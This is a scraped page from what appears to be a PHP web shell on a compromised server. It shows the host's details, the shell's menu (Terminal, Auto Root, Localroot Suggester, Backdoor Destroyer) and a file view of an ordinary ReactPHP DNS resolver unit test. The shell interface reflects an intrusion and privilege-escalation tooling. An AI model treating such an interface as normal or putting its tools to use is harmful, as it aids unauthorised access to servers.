Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.119.103.13
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp /
vendor /
react /
dns /
tests /
Resolver /
Delete
Unzip
Name
Size
Permission
Date
Action
FactoryTest.php
4.89
KB
-rw-r--r--
2018-11-11 09:00
ResolveAliasesTest.php
4.12
KB
-rw-r--r--
2018-11-11 09:00
ResolverTest.php
10.17
KB
-rw-r--r--
2018-11-11 09:00
Save
Rename
<?php namespace React\Tests\Dns\Resolver; use PHPUnit\Framework\TestCase; use React\Dns\Resolver\Resolver; use React\Dns\Query\Query; use React\Dns\Model\Message; use React\Dns\Model\Record; class ResolveAliasesTest extends TestCase { /** * @covers React\Dns\Resolver\Resolver::resolveAliases * @covers React\Dns\Resolver\Resolver::valuesByNameAndType * @dataProvider provideAliasedAnswers */ public function testResolveAliases(array $expectedAnswers, array $answers, $name) { $executor = $this->createExecutorMock(); $resolver = new Resolver('8.8.8.8:53', $executor); $answers = $resolver->resolveAliases($answers, $name); $this->assertEquals($expectedAnswers, $answers); } public function provideAliasedAnswers() { return array( array( array('178.79.169.131'), array( new Record('igor.io', Message::TYPE_A, Message::CLASS_IN, 3600, '178.79.169.131'), ), 'igor.io', ), array( array('178.79.169.131', '178.79.169.132', '178.79.169.133'), array( new Record('igor.io', Message::TYPE_A, Message::CLASS_IN, 3600, '178.79.169.131'), new Record('igor.io', Message::TYPE_A, Message::CLASS_IN, 3600, '178.79.169.132'), new Record('igor.io', Message::TYPE_A, Message::CLASS_IN, 3600, '178.79.169.133'), ), 'igor.io', ), array( array('178.79.169.131'), array( new Record('igor.io', Message::TYPE_A, Message::CLASS_IN, 3600, '178.79.169.131'), new Record('foo.igor.io', Message::TYPE_A, Message::CLASS_IN, 3600, '178.79.169.131'), new Record('bar.igor.io', Message::TYPE_A, Message::CLASS_IN, 3600, '178.79.169.131'), ), 'igor.io', ), array( array(), array( new Record('foo.igor.io', Message::TYPE_A, Message::CLASS_IN), new Record('bar.igor.io', Message::TYPE_A, Message::CLASS_IN), ), 'igor.io', ), array( array('178.79.169.131'), array( new Record('igor.io', Message::TYPE_CNAME, Message::CLASS_IN, 3600, 'foo.igor.io'), new Record('foo.igor.io', Message::TYPE_A, Message::CLASS_IN, 3600, '178.79.169.131'), ), 'igor.io', ), array( array('178.79.169.131'), array( new Record('igor.io', Message::TYPE_CNAME, Message::CLASS_IN, 3600, 'foo.igor.io'), new Record('foo.igor.io', Message::TYPE_CNAME, Message::CLASS_IN, 3600, 'bar.igor.io'), new Record('bar.igor.io', Message::TYPE_A, Message::CLASS_IN, 3600, '178.79.169.131'), ), 'igor.io', ), array( array('178.79.169.131', '178.79.169.132', '178.79.169.133'), array( new Record('igor.io', Message::TYPE_CNAME, Message::CLASS_IN, 3600, 'foo.igor.io'), new Record('foo.igor.io', Message::TYPE_CNAME, Message::CLASS_IN, 3600, 'bar.igor.io'), new Record('bar.igor.io', Message::TYPE_CNAME, Message::CLASS_IN, 3600, 'baz.igor.io'), new Record('bar.igor.io', Message::TYPE_CNAME, Message::CLASS_IN, 3600, 'qux.igor.io'), new Record('baz.igor.io', Message::TYPE_A, Message::CLASS_IN, 3600, '178.79.169.131'), new Record('baz.igor.io', Message::TYPE_A, Message::CLASS_IN, 3600, '178.79.169.132'), new Record('qux.igor.io', Message::TYPE_A, Message::CLASS_IN, 3600, '178.79.169.133'), ), 'igor.io', ), ); } private function createExecutorMock() { return $this->getMockBuilder('React\Dns\Query\ExecutorInterface')->getMock(); } }